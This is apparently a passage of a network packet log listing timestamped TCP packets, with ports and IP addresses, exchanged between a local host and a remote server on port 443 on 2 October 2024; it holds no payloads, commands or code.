Oct 2, 2024 06:10:21.047789097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.047852039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.047861099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.047877073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.047899961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.048842907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.128171921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.128187895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.128258944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.128278017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.128370047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.128705978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.128721952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.128777027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.128794909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.128859997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.129110098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.129126072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.129168987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.129208088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.129219055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.129280090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.131046057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.131061077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.131136894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.131150961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.131201029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.132045031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.132061005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.132121086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.132133961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.132242918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.134293079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.134314060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.134371042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.134385109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.134438038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.134536982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.134552002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.134604931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.134617090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.134684086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.136456966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.136472940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.136542082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.136557102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.136652946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.216573954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.216590881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.216681957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.216706991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.216784000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.217348099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.217370987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.217426062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.217438936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.217483044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.217566013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.217937946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.217953920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.218014002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.218031883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.218079090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228028059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228043079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228106022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228121042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228148937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228189945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228209019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228259087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228279114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228302956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228338957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228445053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228471994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228513002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228529930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228569031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228589058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228651047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228667021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228734970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228754044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.228776932 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.228797913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.229001999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.229016066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.229087114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.229099989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.229182005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.305208921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.305227995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.305314064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.305325985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.305372953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.305862904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.305880070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.305927038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.305934906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.305963039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.305979013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.306485891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.306505919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.306550980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.306557894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.306591034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.306615114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.316695929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.316728115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.316791058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.316797972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.316848993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317029953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317056894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317102909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317111015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317135096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317162037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317194939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317203045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317231894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317284107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317650080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317678928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317718983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317727089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317739010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317750931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317780972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317806005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317814112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.317845106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.317871094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.318402052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.393963099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.393986940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.394038916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.394053936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.394068956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.394095898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.394305944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.394325972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.394361973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.394371033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.394401073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.394417048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.395050049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.395067930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.395107985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.395116091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.395138979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.395271063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.405550957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.405571938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.405637980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.405646086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.405683041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.405697107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.405775070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.405793905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.405833006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.405839920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.405869961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.405883074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406105042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406124115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406163931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406169891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406198025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406208038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406497002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406517982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406563044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406569004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406589985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406604052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406605959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406622887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406668901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406677008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.406687975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.406717062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.482321978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.482342005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.482417107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.482430935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.482481003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.482877970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.482897043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.482958078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.482966900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.483014107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.483669996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.483721018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.483731985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.483738899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.483762980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.483784914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.493977070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494004965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494074106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494083881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494126081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494184971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494204044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494250059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494257927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494286060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494297028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494496107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494514942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494571924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494580984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494683027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494795084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494813919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494864941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.494874001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.494918108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.495017052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.495035887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.495075941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.495081902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.495112896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.495135069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.571096897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.571130037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.571177959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.571193933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.571228027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.571238995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.571425915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.571448088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.571492910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.571501017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.571546078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.571546078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.572231054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.572254896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.572304010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.572312117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.572335958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.572355032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.582663059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.582705021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.582797050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.582808971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.582981110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583007097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583065987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583074093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583173990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583178043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583195925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583214998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583231926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583239079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583252907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583280087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583489895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583509922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583564043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583570957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583657980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583704948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583724022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583786011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.583795071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.583931923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660029888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660056114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660155058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660176039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660190105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660216093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660252094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660262108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660279036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660309076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660763979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660789967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660830021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660837889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.660850048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.660875082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671487093 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671506882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671578884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671586990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671614885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671638012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671669006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671675920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671694040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671725988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671735048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671752930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671787024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671799898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671809912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.671875954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.671998978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.672018051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.672080994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.672089100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.672178984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.672346115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.672364950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.672408104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.672415018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.672427893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.672452927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.748590946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.748613119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.748684883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.748688936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.748703003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.748733997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.748754025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.748763084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.748783112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.748814106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.749274015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.749293089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.749353886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.749362946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.749689102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.759865999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.759887934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.759974003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:21.759982109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:21.760108948 CEST	443	49715	167.114.14.168	192.168.2.5
